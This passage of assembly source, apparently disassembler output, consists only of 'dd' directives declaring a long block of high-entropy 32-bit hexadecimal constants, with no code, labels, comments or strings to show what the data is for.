dd 3F3747E7h, 0C0484276h, 156E95C7h, 902570BDh, 0D42770EEh
dd 0DEBC350Ch, 0F1EDEDCEh, 0F9280E2Eh, 79DF9FC0h, 75CF7949h
dd 0F6F82A6Dh, 7A606BC7h, 90B432ECh, 5F5C01FAh, 56018B84h
dd 821B6922h, 46D64C45h, 2B2965F8h, 52E942B8h, 387D53EFh
dd 1C365DE3h, 784D703Dh, 0CD9FC90Bh, 0DB5DC923h, 0D707264Fh
dd 0B25D617h, 7F6F3B0Fh, 33797B22h, 7629B85Bh, 0F867A9CEh
dd 0F6AD75D0h, 0E03E94BCh, 0E9734844h, 0FC22AE6Dh, 0AED36814h
dd 27CE2598h, 252108C3h, 475F0B72h, 823A7410h, 0BAD21BB0h
dd 5B8DD618h, 0AD0177DCh, 6ECECB23h, 0B05E811Fh, 22A4232Dh
dd 64DA101Ah, 0A27D3335h, 0DA0B71D5h, 0FEE79AB4h, 85BE6106h
dd 90797274h, 0DCF15970h, 6A498F0Bh, 0A3611C4Ch, 0D84DC47Eh
dd 0F186684Bh, 8F8DA297h, 998D994Ch, 7EFAD8CDh, 4A9E0171h
dd 4EA0ECEFh, 8B916F02h, 0BC62F2DEh, 34CF77DDh, 614E9BEDh
dd 0EFBAFF62h, 50301C97h, 0B144AB87h, 3DA4B8F5h, 0B3485D34h
dd 668DA3CCh, 3FE2CDF0h, 0A1B2466Ch, 1AD71C3Bh, 0E5076952h
dd 3060742h, 3C96B793h, 0D1A60EE3h, 42555B88h, 0B4678655h
dd 0AD090A9Ch, 3178DC5Eh, 80EA184Bh, 1E08B024h, 7D233BD3h
dd 0EEF5FC74h, 0FF6182A0h, 0B9562DC8h, 8006AAC3h, 0C2680E15h
dd 90248F31h, 5A57A2D5h, 59F37597h, 0D510654Bh, 577A114Bh
dd 121BECE3h, 88B1345Ch, 0BDA963FAh, 0CC26C2F0h, 0E6D5E560h
dd 0EE235BCFh, 92A664DFh, 27E71249h, 0D7F202BCh, 6001D338h
dd 20497E1Ch, 0E97C2684h, 0E9C49F14h, 3C33A8B9h, 859D8437h
dd 0F7312170h, 77F63F0Fh, 4B48646Bh, 8435DF8h, 5A952F31h
dd 0F07CD2D1h, 81A9105Fh, 0EC96DDC5h, 9840B3Ah, 0CF07B326h
dd 0D50D54A9h, 75DBD5FEh, 205DEBD4h, 96C740Eh, 0B4542C35h
dd 0AF3C49Ah, 0F51F3FDAh, 72E8DF7Fh, 0AEF58F5Dh, 750A1B30h
dd 6001DEBh, 9AF1A941h, 2DBAF84Dh, 6BBA6A04h, 0EE74C692h
dd 7B4E5EEEh, 0D334AE36h, 6915BF09h, 4D8CE387h, 899DCCA4h
dd 6716117Dh, 734C6E98h, 0D06EE7Eh, 0FF3298B8h, 0F4107668h
dd 0F587D36Ah, 0EBC5F16h, 0F6CB28ABh, 0FFC2D0FFh, 2C3ED0F8h
dd 8831656Ah, 0D4C6C798h, 0C905B61Dh, 0ED2D09B1h, 3760250Ch
dd 0EF1B0E17h, 5ACDF6CBh, 4D727BF6h, 5F71D82Fh, 0B91DC656h
dd 665B0100h, 4BD4555Eh, 0C8EA6592h, 0C53B0EA3h, 193B7D3h
dd 0C06D819Dh, 4FBB718h, 0F86B1245h, 1FE29A70h, 5D17BF5Eh
dd 3935B319h, 0E16E0312h, 805D3313h, 4B53BA7h, 70BE1852h
dd 4A3B592Fh, 0BE0BB0FFh, 0CDA244D4h, 5340FA77h, 29AA8F3Eh
dd 0F626CB87h, 6C789744h, 73A4140Bh, 1D988EA0h, 0C69F5DCEh
dd 6CAB243Ch, 6A942B5Dh, 6422CD39h, 2EA95E5Bh, 0C57C7D9h
dd 0C422DC3h, 0EC61AD85h, 0EFC8E388h, 2EB6364Ch, 0F6182964h
dd 0CA9EE11Dh, 7885ED9Dh, 0F4C470E7h, 5C6A720Eh, 2321EF86h
dd 13084E94h, 731A20D4h, 3486D13Ch, 201B340Bh, 0E2251251h
dd 635820E1h, 509E8203h, 21E93DDDh, 65F1BE4Ch, 50AD32D2h
dd 0C3F9A54Dh, 3D6B479Ch, 0D8C67E6Bh, 77B85B7Ch, 60412F8Fh
dd 0D556B614h, 0C0861C4Eh, 0E7E78F04h, 438611D0h, 0F241D379h
dd 0DE20A124h, 2784274Eh, 5224AFD0h, 2690E81Bh, 0EBA9DB84h
dd 627F5AE0h, 0D996441Dh, 68A68CC7h, 0E12B89F0h, 8E4E6FC5h
dd 0BFE61AF0h, 7C4F26FDh, 0D7D68D8Dh, 8D18D584h, 0A4AF7BFEh
dd 0C56C4900h, 7400AFFBh, 0CE1C6881h, 79A95A79h, 46D56138h
dd 0D28B243Ah, 2102609h, 0ED744282h, 91A87BE0h, 0ABA30089h
dd 0B3B5CC4Eh, 23516C81h, 15EA93F6h, 0C20D53BBh, 15EE8164h
dd 432CFEBAh, 9D4CB61Ch, 0B9A1F6Eh, 0BD33ABFFh, 1FF73B7Ch
dd 0C70FF6A9h, 8475ED35h, 0AB220991h, 604969A1h, 5E185E9Dh
dd 0E158813h, 1FDB6DD4h, 0A68BFCA9h, 0A3204B01h, 96653359h
dd 6F12CA2Bh, 283ABC5Fh, 0FDEFE9FBh, 1918A12Dh, 95ADDF4Fh
dd 43AABEC7h, 8DCC977Bh, 7143EB8Dh, 1CBAA917h, 0ADC022CAh
dd 3FB430A7h, 0FF2953F2h, 0AE214DBAh, 0A85C1A2Ah, 0D9CC17B0h
dd 8BE5AF51h, 0F1199864h, 924109E6h, 14C38F8Fh, 868F4D40h
dd 78D8C7ADh, 0F1A6F730h, 0E387DB83h, 46BE586Bh, 8F9A6AE2h
dd 6E80468Eh, 770E3FB6h, 0BD9EB35Ah, 91432109h, 9B58D664h
dd 914FE7C5h, 8C2B112Bh, 7643CF26h, 4D0C9DA4h, 343415CEh
dd 0D4C6CC49h, 0F37B7181h, 0F78356B7h, 3C41A245h, 92136694h
dd 211E51ABh, 2F61ABF3h, 7E9DE76h, 19A3EB88h, 767B5494h
dd 754D775h, 0A3B4EC71h, 0BF13C5ECh, 0EF632265h, 3FDBFC7Ah
dd 82FBAA28h, 0A45055E0h, 0EBF079D2h, 26E69D44h, 6E669C9Ch
dd 0ED758EC7h, 182E2DEh, 1FC2DC8Eh, 0B5B8DC6Ah, 0E0D85864h
dd 0A4F523ADh, 4EBCD299h, 2C46B98Eh, 203C81CCh, 4496A80Ah
dd 0E2E2042Ah, 0EDA71A5h, 3069C9E2h, 0B7F3B508h, 0E778726h
dd 0C30D08CBh, 297AE868h, 155A8391h, 19D87300h, 9FF247E0h
dd 7E003BCFh, 7838D381h, 0BBA3D0D3h, 0C6573F9Ch, 91C801A0h
dd 9012E974h, 0B78E7C98h, 506FB48h, 0F0A7D56Dh, 0D0B8DBBDh
dd 906E0BA7h, 0E343D958h, 26AB446Dh, 7EC0EA9Ch, 0A61DB20Fh
dd 0E53A2550h, 0E4366EC6h, 0F8A1985Eh, 2CBF837Ah, 0D6113ACh
dd 1946ADFh, 0D9C2A815h, 0D43AA81Bh, 152F237h, 1A1E9B79h
dd 0AD0417C3h, 0DCE52B1Ch, 10C94440h, 6F3B2F17h, 41DE0F16h
dd 0A504D103h, 41E4F96Bh, 0AF43ADD8h, 0B7CE84ADh, 0FACCE61h
dd 8ED4E9C7h, 0AE2DFFAAh, 0A6ED4FAh, 5D6F7925h, 0D0261A8Bh
dd 51443F74h, 4BC93D29h, 89D468AEh, 3B659499h, 0D1A7C789h
dd 0BF7A3FDFh, 903ED2Eh, 0DFBD91CBh, 7EEC756Bh, 278C439Eh
dd 0BED7785h, 95C3B408h, 1BB248ADh, 8B9E61B5h, 9BB52928h
dd 813B8356h, 1F57F957h, 88F1293Ch, 0AECB15D4h, 2C6F32E0h
dd 0A3FEB647h, 0AB435432h
dd 0B4464C0h, 463D0E34h, 0DEB74065h, 0F17EED1Ah, 0CEDEB6AAh
dd 2FB2ABBAh, 45737441h, 5DBA65F0h, 9FE4A23Eh, 6543B36Fh
dd 0C9A2DB6h, 4E9C9C48h, 476A6259h, 0DD9DAE14h, 5474FB03h
dd 1595279Fh, 309614D8h, 2C8DD1F6h, 3AB43030h, 0E5A6FE9Ah
dd 86DB1943h, 0A3CBFD62h, 3EE49527h, 0BFCD11CFh, 32141B23h
dd 0BFA68143h, 0B645596Ah, 6CF14C4Ch, 500FE837h, 77D2A123h
dd 0DDF3530Dh, 0C0F29EFEh, 1A56FF29h, 6059D17Ah, 0EAED5FF3h
dd 0B04E6FD0h, 0A3A0A9D3h, 6ABB62D6h, 0D821626Eh, 21A2584Eh
dd 0DCBA43B8h, 3948DEEFh, 25C00A95h, 0B3E5D0ECh, 6DCD39C5h
dd 508FF01Dh, 0E83A7F92h, 9706501Bh, 0E96C9A30h, 7EAB7D34h
dd 0B1224C8Ch, 45F13A0Ah, 7990D3A3h, 0EA3728BDh, 0CF1D6F20h
dd 3A27554Dh, 2160FF05h, 4FF0E99Bh, 76370131h, 0ABCCADBBh
dd 0D3394095h, 72A596F4h, 71F56E6Ch, 1A0B517Eh, 0CF03A4A5h
dd 0C7B882A9h, 15F6ACFFh, 0E5A88D7Fh, 6429014h, 6DA1F16Bh
dd 0A754779h, 230ACDA7h, 7D77B5B1h, 881A5E7Bh, 0C8739412h
dd 47220AD8h, 0D4F4D8F8h, 0BC5E0BE4h, 5948BE61h, 0BA43A160h
dd 1E56E78h, 0F92D080Ch, 4A36417Ch, 7286477Fh, 2E7B70Fh
dd 845EBC7Dh, 0D92C10CEh, 12943C1Ch, 0A5B63F3Fh, 0E0E7E90Fh
dd 0EFFA8C25h, 0FD736F4Eh, 89698946h, 65A94E83h, 1013E091h
dd 673D0C9Ah, 5685E5D3h, 0C0A32797h, 0D7E1272Fh, 56185EA1h
dd 0BBBB0793h, 2766310Fh, 0B683B5Bh, 84C4EF77h, 0F62D1452h
dd 3C1B0A56h, 0FF66772h, 0D891B449h, 0C36A27D8h, 0D9C138D7h
dd 44926227h, 1EDD094Bh, 0B7A29C37h, 29D9F66Ch, 9FE79D11h
dd 7E4C846Ah, 769F8760h, 0B068F52Dh, 6870F979h, 0EB98001Eh
dd 64D4219Ah, 1039CB94h, 16E45499h, 90C9D27Ch, 0B370F417h
dd 67B91BC2h, 0A5347F4Fh, 29ACC399h, 0EDAC2A88h, 52323233h
dd 0E1E5F565h, 6ED0C9B6h, 789D7A74h, 0F3B70C7Fh, 0C4782CD2h
dd 0C054F856h, 16B2489Eh, 0F59394D7h, 7E647E30h, 90D85870h
dd 751A4B41h, 3AE1F8BAh, 7A9C122Ah, 0A325AE4h, 204E2A12h
dd 2A27FF74h, 91843EA1h, 0AD02AAC8h, 90CBE28Ch, 193A27A6h
dd 0E344D629h, 458DF889h, 0F8FAC912h, 45520C59h, 4464892Dh
dd 5CF04382h, 15D0534Dh, 0D05FB250h, 0B97C4A90h, 812CB768h
dd 0E5E3C68Dh, 4876E76Ch, 0E7E862ECh, 3AD6B9CDh, 126D6C75h
dd 77FB5C52h, 0B2757B56h, 0A80C3787h, 602256C2h, 0A6DBF9C3h
dd 7625D9CEh, 632A26C8h, 82F0BD64h, 8FEBB876h, 0A1B3540Ch
dd 78A312BEh, 5D1F7BDFh, 1A5A115Bh, 0CF0C1D19h, 0A2FBE6F7h
dd 0FED95C02h, 0FEBA65ECh, 0C9C412F3h, 0BA4C3AEDh, 62E728BFh
dd 0C42506B6h, 4B3E94EBh, 0A6B01AE4h, 3C195778h, 0E782D7DBh
dd 357EDA23h, 2CF52F16h, 0AE85045Ch, 716FD325h, 0F5674F88h
dd 0BCC73198h, 6EFCB778h, 7B8FD295h, 0ECFA4B82h, 41289E71h
dd 0B1F9BF00h, 73E4DAA7h, 21CF5CDEh, 0E3BBC9D7h, 546372FAh
dd 643C5E6Fh, 1AF17EE8h, 9A98FCB7h, 0E33E9F69h, 0F55E81C3h
dd 0F2003E3Ah, 9CE0F04Bh, 0CF7B5F26h, 173D13D0h, 4F1EA901h
dd 454CD5B6h, 0CA1FE213h, 5F3C3BD8h, 947AE2CFh, 0FB773CBBh
dd 46E0D938h, 5AEDCB99h, 8727FCA6h, 0B1A58ACh, 0BC95A804h
dd 0BCFD656h, 0D62400D8h, 0B0F72087h, 2BA97CC4h, 4ED0AF41h
dd 88A4834Eh, 0AE644BFAh, 0D41A870Dh, 0E494DAD8h, 0CE937A65h
dd 0FA364E29h, 419BD878h, 0F1EE6415h, 0EC0C4A4Ch, 0F5FC592Ah
dd 1D09CB49h, 1833C060h, 22082F5Eh, 5C5D675Ah, 363A07C4h
dd 7A58C270h, 28921993h, 0A02698F0h, 69EACC5Bh, 7644FC7Ah
dd 867A408Ah, 9A266AE1h, 0C13F5F24h, 14092C23h, 5E70F814h
dd 26E9C659h, 6664696Bh, 0CA96FD28h, 48F8917Fh, 0EDE6249Fh
dd 8951D159h, 683EE98h, 0F75C7C02h, 0ACC7F53Eh, 0BBDF69A0h
dd 64A4A6E8h, 9E639C8Eh, 8CE37C8h, 1E685E18h, 53560DBBh
dd 16FB78C6h, 275B81CBh, 0A65C00B9h, 7D9D4966h, 37AA78C6h
dd 3A454968h, 4191AE16h, 786D233h, 583AC9C3h, 3500C10Eh
dd 4F028937h, 59FF517Fh, 0F0501093h, 0A16970FDh, 21A48D52h
dd 0F93DC6B7h, 0B3C17FC4h, 1223853Bh, 20796CA2h, 3B6C3C76h
dd 3A0ABDFh, 10C1B359h, 0B9421380h, 680FB9F3h, 8F4277C1h
dd 0FA42895Eh, 0D6B80CA2h, 0A8038089h, 5DC55F1Fh, 6487FD03h
dd 49BE0BEh, 317ECDD0h, 2970C704h, 0E2AF940Bh, 0C1056F9h
dd 0C68CF842h, 2C90C608h, 0C88ECF99h, 55BC0FC8h, 0BFCECD29h
dd 77956EB6h, 4EED5B06h, 0B926008Fh, 619A3DA1h, 79CEC640h
dd 774FEBB8h, 0FDDBDF7h, 5F2AF593h, 0A3136EBEh, 0DB8CCD4Bh
dd 67CB9463h, 8F1C9B53h, 79C47471h, 0CAA98079h, 9A913A12h
dd 1865D432h, 0F7D2FC4h, 0D394405Dh, 0B1D01DAAh, 617DA73Dh
dd 0CCF414B5h, 2D8F7163h, 67583D7Bh, 1CC20E5h, 0C3F0CE78h
dd 0C4D11D58h, 619C62B5h, 0AE31F505h, 72C04E41h, 3AF43675h
dd 0E8464F2Bh, 3048054Bh, 7E3A7256h, 6F16A9FDh, 0FE6B9068h
dd 627ECBA9h, 9FD0A068h, 372D07CEh, 52D17A6Dh, 8F1ED3AAh
dd 0E03E6523h, 5ECAA663h, 0FD220D7h, 0A3913C0Bh, 4ADA1A35h
dd 6ED30CB1h, 0A131BFh, 5E574627h, 0F5194C71h, 1C067810h
dd 0B212035Ch, 8A53719Ch, 0C1DDC26h, 0E73C4163h, 401F4818h
dd 91B79621h, 23C06EF9h, 6B68DD11h, 23FC19D5h, 0BAE1D63Ch
dd 5F6255C7h, 2FB165EAh, 0F342C3E3h, 128AA25Bh, 7EB96AEFh
dd 89387A78h, 7C427266h, 0F4ECCE7Eh, 0E6DA67BAh, 0B5475807h
dd 0F508740h, 6DE45F6Eh, 0FF8E47E8h, 4B5D095Fh, 0EF1EBC73h
dd 3B9F65FBh, 51304068h, 0EB3B636Fh, 0DB3CF4BFh, 0C4AFDC1h
dd 4A8D634Bh, 5469FD36h, 73942D93h, 0B0381C33h, 9FB4689Dh
dd 3D3097A2h, 1F50158Bh, 5DB50D20h, 8EE60FD5h, 3CDC85BFh
dd 105EB3F6h, 97A880B6h, 11527BDDh, 93E14891h, 2436FF7Ah
dd 0FE8C2009h, 0D57EEC77h, 598FB3F6h, 0C0DF1F58h, 0C8384F6Fh
dd 0AEB33AFh, 0B6069DFCh, 0FCF38CC0h, 0BC213ED6h, 9E427C6Ch
dd 0C33979A7h, 0FC4F1CFBh, 1CED279Dh, 12FB3FEBh, 2B772686h
dd 0FE0AE959h, 0F3B21A2Ah, 0CBA3F49Eh, 152B373Bh, 654C91ABh
dd 0FE6D721Bh, 1D2A5966h, 0DFA4D1ECh, 694AB5EBh, 5E179076h
dd 0C071CE1Eh, 60EBEBF0h, 8E0C8660h, 962B9572h, 8005AE0Eh
dd 0E26E9173h, 859D2AC1h, 0DB635ABBh, 532AFC6h, 38757EFDh
dd 0A9CF47FCh, 4DE8D6D3h, 81FB08C6h, 0A004B75Bh, 806D03CCh
dd 3ED586Dh, 0DFF70C84h, 0E252FEFCh, 2C74934Fh, 75C9FF08h
dd 99DBECB3h, 0D2C57F64h, 0B2DB40A4h, 3AAB5B8Ah, 1C89A013h
dd 4E59B1F4h, 80BA7B52h, 43487D5Ah, 908645DFh, 5B033C91h
dd 0AE2C329Ah, 0AA541030h, 886DC829h, 16FDAB39h, 0A29F6235h
dd 12EA179Bh, 0FF32DD42h, 7BD70D9Fh, 8C336264h, 31FC5E28h
dd 4D31CAF7h, 0CC46DFE6h, 0B7649A60h, 59EF56Ah, 684D2C7Dh
dd 13D5DA64h, 5D4CF502h, 9D5C89DAh, 0D5D4EA8Eh, 8B78D6B6h
dd 10D2A82Ah, 1EC7C31Eh, 85CD93D7h, 3069B458h, 52BFEAE6h
dd 0D92D4E86h, 3B9AB54Dh, 0CF5661FDh, 0B1655D9Ch, 0FB1D4BD1h
dd 27EC7673h, 0E269486Ah, 0D3D6850Eh, 4CCD87DCh, 0E58A58AEh
dd 8062FEB3h, 0F74D4E5Ah, 282DE9DDh, 6064B73Ch, 0EF6450A5h
dd 2FDC2233h, 30EE1481h, 60620B43h, 46184C9Dh, 8915E2E6h
dd 993D8857h, 0E092C714h, 82E9196Ah, 658585FEh, 0CC4B02C5h
dd 2D9D75D7h, 0AEDC8AD6h
dd 149A8795h, 0F6021144h, 86561BFDh, 48DB6F41h, 7BBDD9F4h
dd 4E6162FEh, 0A08E329Eh, 3DF6D14Ch, 0EC86E34Ch, 0AB122527h
dd 0CBE0CD0Ch, 42AF9D5Eh, 0AABD4864h, 0D0CE6022h, 94EE4280h
dd 6D6AEB12h, 8D66B222h, 925729ACh, 0ADF29E4Dh, 10521F36h
dd 0A2E85FE3h, 48601972h, 0CC1D7FB6h, 0E01913CEh, 1344A895h
dd 0F1CCAA68h, 5728E468h, 0C80211A5h, 6D936E8Eh, 0CD8E146Eh
dd 0FBAA16F7h, 774A3B74h, 1DF05D71h, 0FFED1C9Ah, 0A426178h
dd 8369CCA6h, 4D51263Fh, 0A4497A3h, 0C2D459D1h, 3101477Dh
dd 0EF3D5AD1h, 0A1201372h, 0F04EF97h, 8D767C1Bh, 0C53BE542h
dd 632739A5h, 0BE62D58Dh, 36ED7349h, 8EE4705Dh, 39BD95AFh
dd 0CBB3A782h, 3F8B3C42h, 0AA37C4D2h, 443479A8h, 8BE14CDDh
dd 0A7D415A1h, 0AE83AC38h, 0CABF7142h, 91986382h, 63FF5F71h
dd 466B0D23h, 569D17D4h, 0C29E26E5h, 1C5948D6h, 3350E29Bh
dd 55BE4563h, 8F2FEDCCh, 71676ABCh, 82AA00AEh, 0E60B50BBh
dd 0E573F36Bh, 49EB29F1h, 14DDD39Ch, 8D006CEDh, 0ABB53AFEh
dd 2BAE990Ch, 73388C3Bh, 17F66D32h, 5CC36CEDh, 5D52FE9Fh
dd 0B2C2F547h, 0F34A22B7h, 0E24EBFE8h, 1C3DEB3Fh, 0C6934949h
dd 0BCCAF92Fh, 0FA6220B6h, 0DCFF5DBh, 55C4B7C2h, 76268541h
dd 0AAA463EBh, 1C8D1257h, 2CD82E20h, 79244B6Ah, 46437B25h
dd 345C2AA9h, 8CCF265Dh, 83C8E62Dh, 898EAD28h, 77489660h
dd 97E6E549h, 4303B488h, 53AFE284h, 91E176B7h, 7168F368h
dd 0FB5FE616h, 4191AD5Dh, 143DBCDh, 0C4203351h, 3C12585h
dd 65834E42h, 0B3D46094h, 55004C66h, 0A7279B7Ch, 9DEB8FC3h
dd 72A59C34h, 0E03F65CBh, 4485C2C3h, 5BA7087Ch, 7FDDD721h
dd 0AB739034h, 2DAB5CB5h, 4640A63h, 8698B3E7h, 0E8156E2Dh
dd 28A241CCh, 3BD8ECDBh, 0F3BD3003h, 0B2475532h, 0A5CA72FDh
dd 0F856D62h, 0D06CB62Ah, 0CC413E37h, 2FCD3A79h, 0AD4706B3h
dd 652138B6h, 833EFBA8h, 0B780EDC3h, 19309DAAh, 0FC0A0FEDh
dd 0D20D18D1h, 0AD35F239h, 2297448Dh, 13D36056h, 0C4E63173h
dd 0A767A1ACh, 0DC566240h, 9C6757A4h, 0FC526315h, 0CC6FCCB8h
dd 7C1053B9h, 0C58165CFh, 0F271E2E8h, 254BB18Fh, 1C3DA7E8h
dd 14AAEC3Dh, 0C5EA90ACh, 0FC2D01E7h, 0B431DAA5h, 8018429Eh
dd 82901ED5h, 6E9B92D6h, 494862E2h, 0A36DFDFh, 6AB931DDh
dd 85098F42h, 0AFF9F2F9h, 8817EB5Bh, 7D7BBC2Ch, 4968C52Fh
dd 0B8E98457h, 1993A38Bh, 9B3879E8h, 0C0896B35h, 72445732h
dd 98D97897h, 7354FADEh, 7B2B04A0h, 0CA25630Bh, 9E4AA8CBh
dd 0B866B4F7h, 4E14287Fh, 0BEB2AC78h, 3EDC06Fh, 0BA9DC4F8h
dd 0F86CC9BFh, 9B025791h, 7D9CEA5Ch, 0BC782AD5h, 7F2FE7DAh
dd 11474C7Dh, 8F509998h, 72E22D12h, 6EE2229Eh, 0DA3EC108h
dd 8483C455h, 4E7AF6A0h, 6B330C36h, 932D4DD7h, 0FE035B26h
dd 0C4096C0Bh, 5BF3E2DBh, 0ECB1BC9Eh, 0E4C266B4h, 0EF55A184h
dd 6A151F52h, 22A9EED5h, 58A62CC3h, 51524BCh, 0B8D8D9DFh
dd 26FF1C16h, 199695F4h, 0F38B2D2Ch, 5A44CA4Eh, 7210962Fh
dd 0A79B89DDh, 0B3A39436h, 0C9E035ADh, 8ACDDCDCh, 0BEC92196h
dd 697358DCh, 0E36E1A0Bh, 3885B954h, 44ED0E32h, 62E22534h
dd 4701766Dh, 0F2574660h, 0BECCC948h, 0DFCB5705h, 4D3D9528h
dd 3FE8ED1Bh, 628018CCh, 0D2E0E5C6h, 0DBD419A0h, 0E0955C0Eh
dd 0B7DCF718h, 42AAAEEDh, 19D99F72h, 0BA749FACh, 0FEF1D8C1h
dd 0C8020DF9h, 0B322A734h, 0E76F0E66h, 0CF17E707h, 2E3C6CF6h
dd 13B87213h, 0F08424FCh, 0C502B9CAh, 0F6A800AFh, 98A9BE3Bh
dd 6D5D5184h, 0C63155F9h, 0E138FD36h, 9F7781B4h, 15CAB50Ah
dd 6A3058ACh, 7D91411Ah, 9E1CDBF8h, 0EC637359h, 34094A60h
dd 0BA7FE075h, 76F55A5Eh, 0E088130h, 8C83163Ch, 0BF85B043h
dd 4FC1C3E0h, 1D71097Dh, 0F77A7CA7h, 9C73E76h, 0A8AC772Dh
dd 6C3CB026h, 67DC8264h, 0C504288Dh, 0EE37C009h, 7CD8B65Ch
dd 0BB22D60Ch, 833BE142h, 4805553h, 87BFE689h, 4582DA82h
dd 16412777h, 264E301Eh, 335ECD32h, 11B6DC79h, 0E9836B27h
dd 1265147Bh, 791DBE93h, 0B3176E86h, 0ED83F20Ch, 4FCAD2AEh
dd 0AF885F56h, 1481B8AFh, 0B9F49FB8h, 0FAE8D07Ah, 4DCA0B98h
dd 8F39D3BEh, 1EF76DB0h, 0F7CC6330h, 0C3E9962Ah, 62296145h
dd 428161ADh, 2B68C696h, 0C81B1189h, 0B7E28DECh, 4ED9ECC6h
dd 83A4D231h, 8F264731h, 6846F23Ch, 532F22D5h, 0C0D82210h
dd 381F779Eh, 0B19B2903h, 26B16A1h, 332CEFA6h, 0CE8CFF28h
dd 9FCBFF6Dh, 0EF24C4D8h, 962A3DACh, 35AED191h, 0BEABDF96h
dd 0C93D9E71h, 8747C77Eh, 945EDC0Bh, 9495F6DBh, 71AB101Dh
dd 974BB63Dh, 2B21E79Dh, 84FF3B45h, 48797402h, 5583110Ah
dd 8F191EA2h, 64E27B93h, 5D28188Ah, 2780C529h, 708D4A30h
dd 1D6070D2h, 36BEAD0Fh, 0FFC1E3F4h, 77F3F085h, 24BE21D0h
dd 6B6C3C60h, 7B84B755h, 0A4F86AB0h, 0EF5EB47Dh, 0A13483E6h
dd 0D920CB32h, 0D56506F9h, 174AD7E6h, 3259E492h, 0C2A63B17h
dd 9CB610BFh, 7F07563Ch, 0E81389F8h, 684ED268h, 0FB2F9B2Dh
dd 113E6AA3h, 0AFE7E02Bh, 0F5532F4h, 825E00A2h, 0D23F7431h
dd 2EC14A91h, 6C3AAC6Ah, 0D92B2C0Dh, 0F786517Dh, 0B2EA4DE4h
dd 0E50AE26Fh, 0E8F8794Dh, 0B5C831F5h, 65427268h, 0AA5833B5h
dd 61A070D5h, 0BC8B7B07h, 55998AE3h, 0FE9E4301h, 12F3DB41h
dd 0DE1DD81Fh, 4E33A101h, 99304F4Ah, 0C9E4E6E3h, 8FB00B09h
dd 0DEC0B196h, 5198D45h, 0C0CA2DDEh, 0DF38BDA7h, 34AA4FFFh
dd 0D007A490h, 56BAA9C4h, 41441922h, 27FCC7F3h, 986BC596h
dd 9BDB28F2h, 0BBEEAE3Dh, 876C2CDBh, 5E8639B9h, 0F1994385h
dd 6B227E4Bh, 4A043750h, 0FC8509C0h, 0E6C35825h, 0A3669BFCh
dd 5249AC92h, 0CA7A7858h, 0E6769988h, 0F2A06C3Eh, 2422CA93h
dd 1AF823DCh, 9099FBC0h, 0D395C8E7h, 9BAAB893h, 0B81D94E5h
dd 108136FFh, 760DF0B9h, 792ABDA3h, 5765860Ch, 0FF3A7328h
dd 60A3FA9Fh, 0B28A7576h, 93296E98h, 7F8375A0h, 89857A41h
dd 463C637Eh, 62DD5ACAh, 6F1CC61Fh, 44EE5CBAh, 1F710A8Ah
dd 0DD76582Bh, 5357C065h, 86EBE1A5h, 0A25409D6h, 251173E2h
dd 7531B34h, 0D819CE78h, 0DA372B80h, 608E3DF0h, 3324C368h
dd 0C75A7645h, 5471F7Dh, 20AD15A5h, 6833D654h, 0A6EBAA10h
dd 330D212Fh, 608D695h, 2596AE39h, 0EF939FA6h, 9CBCD120h
dd 0E2018049h, 0DB2E5EE3h, 69351F59h, 0BFFCE6FEh, 0F3CB9FB3h
dd 433BBB7Ch, 0BC031D43h, 0BD743541h, 29EC5F01h, 3EEC72F5h
dd 0E9FB65Eh, 903274ADh, 4EDD85DFh, 8CA23D42h, 7F6337FEh
dd 1951A09Bh, 38F06200h, 2AF3881Ah, 1F6049B9h, 0A34182C5h
dd 161CC012h, 5399BBDEh, 0D570814Bh, 80C3F919h, 8C22FD68h
dd 0DE8087E5h, 595308B3h, 8ECD0B4h, 7348FE47h, 0A217FCBFh
dd 3E47A597h, 0EA83663h, 6EB75B0Bh, 0FF4ACFA7h, 3D6435B6h
dd 3337509Eh, 96E8965Fh, 8B92AC75h, 33895DD3h, 0C3CC335Eh
dd 7ED22B11h, 0AE496497h, 0C6FBD893h, 401F05Ch, 54022154h
dd 0D4BA725Fh, 36010C98h, 55DCD936h, 0F8330E5Ah, 11120A7Eh
dd 0DD71AE0Bh, 71C75AD4h, 6DE99FF4h, 0AE85ADB4h, 829EB2F5h
dd 9C87F7h, 0F9F1222Bh, 5A4EEB1Dh, 6E80D31Ch, 0BED70D91h
dd 49459966h, 87A8550h, 3A80175Ah, 0AB368A87h, 0FB315449h
dd 723D226Ah, 0B377802Dh
dd 8DDD81A6h, 0EBB1F530h, 3B694A74h, 0B5C07F3Ch, 0A7B4D54Eh
dd 1899068h, 8D38DF42h, 0AF9E937Dh, 657501A5h, 8BE60A08h
dd 0A4645C47h, 0B614D21Ah, 0FFBBA168h, 89C86C7Ah, 41F1C4C4h
dd 8D6CB764h, 0A169FA1Ah, 3D5D839Fh, 0B181ED7Fh, 4E7CCE73h
dd 130076Dh, 4A73AED6h, 0C31A2A6Bh, 74DE238Ch, 269F1B2Eh
dd 47EABDBFh, 84B3DF7Eh, 1962943Fh, 4869824Dh, 8C23C33Eh
dd 58E76017h, 7AFB6C7Eh, 439DCE4Dh, 0BB3FEFF2h, 35E9FCB1h
dd 0DB403386h, 0D7D50527h, 0C88F14BFh, 0AADF5A57h, 846525AFh
dd 6528E8Dh, 4E60A5E4h, 631CCE45h, 0FE215414h, 1CE1F4F1h
dd 75432C06h, 0C98098F1h, 2A56323Ch, 76BC9DC4h, 0EC0BF747h
dd 0CDD00AE4h, 572864Ah, 3CD9F430h, 61238F1Eh, 0BA4AD292h
dd 3C39441Fh, 0BDA0A263h, 10BB1669h, 3E20E4E9h, 0D04EC662h
dd 0EBFD22B4h, 0A119171Ch, 0E85BFCDAh, 3BAB42FDh, 49E2523Bh
dd 678C0B64h, 0C491F4h, 52025513h, 5B16370Eh, 0F969C4B7h
dd 189E287Fh, 0F112AE80h, 6E60A82Fh, 0DE028AC6h, 34AE7E83h
dd 0B66F7F1Ch, 0BF0EE5E4h, 182B095Eh, 5ECEB50Ah, 4253D2A2h
dd 0EDCE737Eh, 0C7D04C90h, 0E803991Fh, 0B9BF7D2Bh, 94024682h
dd 2339B06Ch, 0B20041ECh, 2743FCFFh, 1027319Eh, 3778DFB8h
dd 0AC52C7B5h, 42225E32h, 0E2347B13h, 7D1C2F1Bh, 1307B04Ch
dd 6C83409h, 0CF80E51Fh, 0ACC0BE4Ah, 3F717Ch, 25A35F7Bh
dd 0FCB2E07Dh, 48E9C17h, 50CE1902h, 3C1DAD2Bh, 0E2DBABCBh
dd 828FB9B2h, 61DBA504h, 0E200F84Eh, 0AD7A3C7h, 1B1B9665h
dd 30400903h, 0C93EE7A0h, 442108A3h, 4DE68D51h, 0C5BB5068h
dd 99A4E905h, 0FE27F270h, 15E1849h, 0DCBC4E6h, 8A422D5Fh
